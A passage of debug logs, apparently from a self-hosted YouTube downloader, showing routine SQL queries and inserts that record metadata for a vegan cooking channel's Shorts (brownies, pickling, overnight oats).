s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:40.858 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:40.862 [debug] QUERY OK source="media_items" db=2.7ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-05 16:00:26Z], 1] 20:28:40.863 [debug] QUERY OK source="media_items" db=1.1ms idle=1007.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These brownies are protein packed and great for most people who have food allergies. My not that kinda special brownies are gluten free, nut free and vegan and are always a huge hit.\n\nFull recipe video here: https://youtu.be/CaX3rd60OUk\n\nSubscribe to catch a few other 'That 70s Show' brownie clips later today and for weekly videos about my vegan and gluten free diet. Thanks for all your support! Janelle", "People love my (not that kinda) SPECIAL BROWNIES", "3d64973a-f113-4edc-9bd0-fe1b760a88f2", 1, [], 15, false, "QRkS8Bi77FY", "https://www.youtube.com/shorts/QRkS8Bi77FY", 335, "/downloads/downloads/alec/Steamy Vegan/2022-07-05 People love my (not that kinda) SPECIAL BROWNIES/People love my (not that kinda) SPECIAL BROWNIES [QRkS8Bi77FY].NA", false, false, true, 3, ~U[2022-07-05 16:00:26Z], ~U[2026-03-22 03:28:40Z], ~U[2026-03-22 03:28:40Z], "These brownies are protein packed and great for most people who have food allergies. My not that kinda special brownies are gluten free, nut free and vegan and are always a huge hit.\n\nFull recipe video here: https://youtu.be/CaX3rd60OUk\n\nSubscribe to catch a few other 'That 70s Show' brownie clips later today and for weekly videos about my vegan and gluten free diet. Thanks for all your support! Janelle", "People love my (not that kinda) SPECIAL BROWNIES", 1, 15, false, "QRkS8Bi77FY", "https://www.youtube.com/shorts/QRkS8Bi77FY", "/downloads/downloads/alec/Steamy Vegan/2022-07-05 People love my (not that kinda) SPECIAL BROWNIES/People love my (not that kinda) SPECIAL BROWNIES [QRkS8Bi77FY].NA", true, ~U[2022-07-05 16:00:26Z]] 20:28:40.864 [debug] QUERY OK source="sources" db=0.4ms idle=505.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:40.865 [debug] QUERY OK source="media_profiles" db=0.9ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:40.867 [debug] QUERY OK source="media_items" db=0.8ms idle=7.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [724] 20:28:40.867 [debug] Current batch of media processed. Will check again in 1000ms 20:28:41.868 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Can you actually turn yourself into a pickle? This week I find out on my channel the best foods to pickle. Subscribe and stay tuned for all of my quick-pickling content this week.", "duration" => 19, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-04 How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts/How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts [oe1dq7y24Lw].NA", "id" => "oe1dq7y24Lw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/oe1dq7y24Lw", "playlist_index" => 336, "timestamp" => 1656973807, "title" => "How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts", "upload_date" => "20220704"} 20:28:41.869 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:41.870 [debug] QUERY OK source="sources" db=0.9ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:41.873 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=1005.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-04 22:30:07Z], 1] 20:28:41.874 [debug] QUERY OK source="media_items" db=0.8ms idle=1006.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Can you actually turn yourself into a pickle? This week I find out on my channel the best foods to pickle. Subscribe and stay tuned for all of my quick-pickling content this week.", "How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts", "cb955fa7-d8e0-45c0-a104-2f5b6002dc4e", 1, [], 19, false, "oe1dq7y24Lw", "https://www.youtube.com/shorts/oe1dq7y24Lw", 336, "/downloads/downloads/alec/Steamy Vegan/2022-07-04 How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts/How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts [oe1dq7y24Lw].NA", false, false, true, 0, ~U[2022-07-04 22:30:07Z], ~U[2026-03-22 03:28:41Z], ~U[2026-03-22 03:28:41Z], "Can you actually turn yourself into a pickle? This week I find out on my channel the best foods to pickle. Subscribe and stay tuned for all of my quick-pickling content this week.", "How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts", 1, 19, false, "oe1dq7y24Lw", "https://www.youtube.com/shorts/oe1dq7y24Lw", "/downloads/downloads/alec/Steamy Vegan/2022-07-04 How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts/How to become so good at pickling that you could turn yourself into a pickle #youtubeshorts #shorts [oe1dq7y24Lw].NA", true, ~U[2022-07-04 22:30:07Z]] 20:28:41.875 [debug] QUERY OK source="sources" db=0.5ms idle=513.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:41.876 [debug] QUERY OK source="media_profiles" db=0.7ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:41.877 [debug] QUERY OK source="media_items" db=0.4ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [725] 20:28:41.877 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "If you're interested in trying something vegan and gluten free then check out some of the recipes on my channel for some food inspiration. When I'm looking for something new to try I always find myself on YouTube checking out my favorite vegan and gluten free foodies.\n\nHope you enjoy my channel and if you like some of the recipes then please subscribe and help me continue to grow and make more weekly videos! Thanks for your support! Janelle", "duration" => 12, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-04 I See You Looking At My Vegan Dinner #youtubeshorts #shorts/I See You Looking At My Vegan Dinner #youtubeshorts #shorts [hhXX4wOXJp8].NA", "id" => "hhXX4wOXJp8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/hhXX4wOXJp8", "playlist_index" => 337, "timestamp" => 1656948570, "title" => "I See You Looking At My Vegan Dinner #youtubeshorts #shorts", "upload_date" => "20220704"} 20:28:41.878 [debug] QUERY OK source="sources" db=0.5ms queue=0.4ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:41.879 [debug] QUERY OK source="sources" db=0.4ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:41.881 [debug] QUERY OK source="media_items" db=1.7ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-04 15:29:30Z], 1] 20:28:41.883 [debug] QUERY OK source="media_items" db=1.9ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're interested in trying something vegan and gluten free then check out some of the recipes on my channel for some food inspiration. When I'm looking for something new to try I always find myself on YouTube checking out my favorite vegan and gluten free foodies.\n\nHope you enjoy my channel and if you like some of the recipes then please subscribe and help me continue to grow and make more weekly videos! Thanks for your support! Janelle", "I See You Looking At My Vegan Dinner #youtubeshorts #shorts", "6e47efd4-dc16-4985-920d-c5b3f4881187", 1, [], 12, false, "hhXX4wOXJp8", "https://www.youtube.com/shorts/hhXX4wOXJp8", 337, "/downloads/downloads/alec/Steamy Vegan/2022-07-04 I See You Looking At My Vegan Dinner #youtubeshorts #shorts/I See You Looking At My Vegan Dinner #youtubeshorts #shorts [hhXX4wOXJp8].NA", false, false, true, 1, ~U[2022-07-04 15:29:30Z], ~U[2026-03-22 03:28:41Z], ~U[2026-03-22 03:28:41Z], "If you're interested in trying something vegan and gluten free then check out some of the recipes on my channel for some food inspiration. When I'm looking for something new to try I always find myself on YouTube checking out my favorite vegan and gluten free foodies.\n\nHope you enjoy my channel and if you like some of the recipes then please subscribe and help me continue to grow and make more weekly videos! Thanks for your support! Janelle", "I See You Looking At My Vegan Dinner #youtubeshorts #shorts", 1, 12, false, "hhXX4wOXJp8", "https://www.youtube.com/shorts/hhXX4wOXJp8", "/downloads/downloads/alec/Steamy Vegan/2022-07-04 I See You Looking At My Vegan Dinner #youtubeshorts #shorts/I See You Looking At My Vegan Dinner #youtubeshorts #shorts [hhXX4wOXJp8].NA", true, ~U[2022-07-04 15:29:30Z]] 20:28:41.885 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:41.886 [debug] QUERY OK source="media_profiles" db=0.7ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:41.887 [debug] QUERY OK source="media_items" db=0.6ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [726] 20:28:41.887 [debug] Current batch of media processed. Will check again in 1000ms 20:28:42.888 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These easy vegan and gluten-free STRAWBERRY RHUBARB OVERNIGHT OATS is such a classic summer flavour combo that I just love. This breakfast tastes like a dessert, yet it’s nutritious and will keep you full for hours!\n\nFULL RECIPE VIDEO! https://youtu.be/_O9zWNUd2iE\nFULL BLOG WITH INSTRUCTIONS/RECIPE: https://steamyvegankitchen.com/strawberry-rhubarb-overnight-oats/\n\nSubscribe to @steamyvegan for more easy vegan recipes!", "duration" => 53, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-03 HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast/HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast [yZD3tM0kBpo].NA", "id" => "yZD3tM0kBpo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/yZD3tM0kBpo", "playlist_index" => 338, "timestamp" => 1656865062, "title" => "HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast", "upload_date" => "20220703"} 20:28:42.889 [debug] QUERY OK source="sources" db=0.4ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:42.890 [debug] QUERY OK source="sources" db=0.2ms idle=1004.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:42.892 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-03 16:17:42Z], 1] 20:28:42.893 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These easy vegan and gluten-free STRAWBERRY RHUBARB OVERNIGHT OATS is such a classic summer flavour combo that I just love. This breakfast tastes like a dessert, yet it’s nutritious and will keep you full for hours!\n\nFULL RECIPE VIDEO! https://youtu.be/_O9zWNUd2iE\nFULL BLOG WITH INSTRUCTIONS/RECIPE: https://steamyvegankitchen.com/strawberry-rhubarb-overnight-oats/\n\nSubscribe to @steamyvegan for more easy vegan recipes!", "HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast", "4fc406db-7817-401d-b258-10e237ece05c", 1, [], 53, false, "yZD3tM0kBpo", "https://www.youtube.com/shorts/yZD3tM0kBpo", 338, "/downloads/downloads/alec/Steamy Vegan/2022-07-03 HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast/HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast [yZD3tM0kBpo].NA", false, false, true, 0, ~U[2022-07-03 16:17:42Z], ~U[2026-03-22 03:28:42Z], ~U[2026-03-22 03:28:42Z], "These easy vegan and gluten-free STRAWBERRY RHUBARB OVERNIGHT OATS is such a classic summer flavour combo that I just love. This breakfast tastes like a dessert, yet it’s nutritious and will keep you full for hours!\n\nFULL RECIPE VIDEO! https://youtu.be/_O9zWNUd2iE\nFULL BLOG WITH INSTRUCTIONS/RECIPE: https://steamyvegankitchen.com/strawberry-rhubarb-overnight-oats/\n\nSubscribe to @steamyvegan for more easy vegan recipes!", "HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast", 1, 53, false, "yZD3tM0kBpo", "https://www.youtube.com/shorts/yZD3tM0kBpo", "/downloads/downloads/alec/Steamy Vegan/2022-07-03 HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast/HEALTHY strawberry rhubarb overnight oats! Easy vegan and gluten-free breakfast [yZD3tM0kBpo].NA", true, ~U[2022-07-03 16:17:42Z]] 20:28:42.894 [debug] QUERY OK source="sources" db=0.6ms idle=528.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:42.895 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:42.896 [debug] QUERY OK source="media_items" db=0.6ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [727] 20:28:42.896 [debug] Current batch of media processed. Will check again in 1000ms 20:28:43.897 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These overnight oats are quick and easy to make and they're gluten free, vegan, soy free, and nut free. If you like the taste of pina coladas then you'll love this non-alcoholic overnight oats version of that flavor. And if you're in the mood you could always add some rum into these.\n\nFull Recipe Video: https://youtu.be/jEROCt5Y_pQ\n\nSubscribe for more vegan and gluten free recipes posted every week. Thanks for your support! Janelle", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-02 Do You Like Piña Coladas?/Do You Like Piña Coladas? [p9_-sluu3Vo].NA", "id" => "p9_-sluu3Vo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/p9_-sluu3Vo", "playlist_index" => 339, "timestamp" => 1656786642, "title" => "Do You Like Piña Coladas?", "upload_date" => "20220702"} 20:28:43.898 [debug] QUERY OK source="sources" db=0.7ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:43.899 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1004.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", 